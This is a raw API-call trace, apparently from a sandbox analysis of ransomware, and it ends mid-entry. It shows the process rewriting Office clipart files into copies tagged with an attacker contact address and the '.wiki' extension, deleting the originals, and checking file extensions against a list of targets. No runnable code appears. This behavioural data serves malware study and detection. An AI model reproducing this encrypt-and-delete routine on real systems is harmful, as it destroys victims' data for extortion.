GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.195] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.195] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.196] GetLastError () returned 0x0 [0191.196] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2232, lpOverlapped=0x0) returned 1 [0191.197] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2240, lpOverlapped=0x0) returned 1 [0191.198] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.198] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.199] SetEndOfFile (hFile=0x1dc) returned 1 [0191.199] CloseHandle (hObject=0x1dc) returned 1 [0191.199] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.199] SetEndOfFile (hFile=0x1f4) returned 1 [0191.200] CloseHandle (hObject=0x1f4) returned 1 [0191.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0191.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.200] lstrlenW (lpString=".doc") returned 4 [0191.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.200] lstrlenW (lpString=".docx") returned 5 [0191.200] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0191.200] lstrlenW (lpString=".pdf") returned 4 [0191.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.200] lstrlenW (lpString=".xls") returned 4 [0191.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.200] lstrlenW (lpString=".xlsx") returned 5 [0191.200] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0191.200] lstrlenW (lpString=".ppt") returned 4 [0191.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.200] lstrlenW (lpString=".zip") returned 4 [0191.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.200] lstrlenW (lpString=".rar") returned 4 [0191.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.200] lstrlenW (lpString=".bz2") returned 4 [0191.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString=".7z") returned 3 [0191.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString=".dbf") returned 4 [0191.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString=".1cd") returned 4 [0191.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString=".jpg") returned 4 [0191.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString=".doc") returned 4 [0191.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString=".docx") returned 5 [0191.201] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0191.201] lstrlenW (lpString=".pdf") returned 4 [0191.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString=".xls") returned 4 [0191.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.201] lstrlenW (lpString=".xlsx") returned 5 [0191.201] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0191.201] lstrlenW (lpString=".ppt") returned 4 [0191.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.201] lstrlenW (lpString=".zip") returned 4 [0191.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.201] lstrlenW (lpString=".rar") returned 4 [0191.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.202] lstrlenW (lpString=".bz2") returned 4 [0191.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.202] lstrlenW (lpString=".7z") returned 3 [0191.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.202] lstrlenW (lpString=".dbf") returned 4 [0191.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.202] lstrlenW (lpString=".1cd") returned 4 [0191.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0191.202] lstrlenW (lpString=".jpg") returned 4 [0191.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.202] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.202] lstrlenW (lpString="J0099172.WMF") returned 12 [0191.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.202] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=58258) returned 1 [0191.203] CloseHandle (hObject=0x1f4) returned 1 [0191.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0191.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.203] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.203] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.203] GetLastError () returned 0x0 [0191.203] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xe392, lpOverlapped=0x0) returned 1 [0191.232] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0191.233] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.234] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.234] SetEndOfFile (hFile=0x1dc) returned 1 [0191.234] CloseHandle (hObject=0x1dc) returned 1 [0191.234] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.234] SetEndOfFile (hFile=0x1f4) returned 1 [0191.235] CloseHandle (hObject=0x1f4) returned 1 [0191.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0191.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.235] lstrlenW (lpString=".doc") returned 4 [0191.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString=".docx") returned 5 [0191.236] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0191.236] lstrlenW (lpString=".pdf") returned 4 [0191.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString=".xls") returned 4 [0191.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.236] lstrlenW (lpString=".xlsx") returned 5 [0191.236] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0191.236] lstrlenW (lpString=".ppt") returned 4 [0191.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString=".zip") returned 4 [0191.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.236] lstrlenW (lpString=".rar") returned 4 [0191.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString=".bz2") returned 4 [0191.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString=".7z") returned 3 [0191.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString=".dbf") returned 4 [0191.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString=".1cd") returned 4 [0191.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString=".jpg") returned 4 [0191.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.236] lstrlenW (lpString=".doc") returned 4 [0191.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString=".docx") returned 5 [0191.237] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0191.237] lstrlenW (lpString=".pdf") returned 4 [0191.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString=".xls") returned 4 [0191.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.237] lstrlenW (lpString=".xlsx") returned 5 [0191.237] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0191.237] lstrlenW (lpString=".ppt") returned 4 [0191.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.237] lstrlenW (lpString=".zip") returned 4 [0191.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.237] lstrlenW (lpString=".rar") returned 4 [0191.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString=".bz2") returned 4 [0191.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString=".7z") returned 3 [0191.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.237] lstrlenW (lpString=".dbf") returned 4 [0191.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.237] lstrlenW (lpString=".1cd") returned 4 [0191.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0191.237] lstrlenW (lpString=".jpg") returned 4 [0191.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.238] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.238] lstrlenW (lpString="J0099174.WMF") returned 12 [0191.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.238] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6214) returned 1 [0191.238] CloseHandle (hObject=0x1f4) returned 1 [0191.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0191.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.238] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.238] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.239] GetLastError () returned 0x0 [0191.239] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1846, lpOverlapped=0x0) returned 1 [0191.240] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1850, lpOverlapped=0x0) returned 1 [0191.310] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.310] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.310] SetEndOfFile (hFile=0x1dc) returned 1 [0191.312] CloseHandle (hObject=0x1dc) returned 1 [0191.312] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.312] SetEndOfFile (hFile=0x1f4) returned 1 [0191.313] CloseHandle (hObject=0x1f4) returned 1 [0191.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0191.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.320] lstrlenW (lpString=".doc") returned 4 [0191.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.320] lstrlenW (lpString=".docx") returned 5 [0191.320] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.320] lstrlenW (lpString=".pdf") returned 4 [0191.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.320] lstrlenW (lpString=".xls") returned 4 [0191.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.320] lstrlenW (lpString=".xlsx") returned 5 [0191.320] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.320] lstrlenW (lpString=".ppt") returned 4 [0191.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.320] lstrlenW (lpString=".zip") returned 4 [0191.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.320] lstrlenW (lpString=".rar") returned 4 [0191.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.320] lstrlenW (lpString=".bz2") returned 4 [0191.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.320] lstrlenW (lpString=".7z") returned 3 [0191.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.320] lstrlenW (lpString=".dbf") returned 4 [0191.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.321] lstrlenW (lpString=".1cd") returned 4 [0191.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.321] lstrlenW (lpString=".jpg") returned 4 [0191.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.321] lstrlenW (lpString=".doc") returned 4 [0191.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString=".docx") returned 5 [0191.321] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.321] lstrlenW (lpString=".pdf") returned 4 [0191.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString=".xls") returned 4 [0191.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.321] lstrlenW (lpString=".xlsx") returned 5 [0191.321] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.321] lstrlenW (lpString=".ppt") returned 4 [0191.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.321] lstrlenW (lpString=".zip") returned 4 [0191.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.321] lstrlenW (lpString=".rar") returned 4 [0191.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString=".bz2") returned 4 [0191.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.321] lstrlenW (lpString=".7z") returned 3 [0191.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.322] lstrlenW (lpString=".dbf") returned 4 [0191.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.322] lstrlenW (lpString=".1cd") returned 4 [0191.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0191.322] lstrlenW (lpString=".jpg") returned 4 [0191.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.322] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.322] lstrlenW (lpString="J0099176.WMF") returned 12 [0191.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.333] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2488) returned 1 [0191.333] CloseHandle (hObject=0x1f4) returned 1 [0191.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0191.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.333] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: 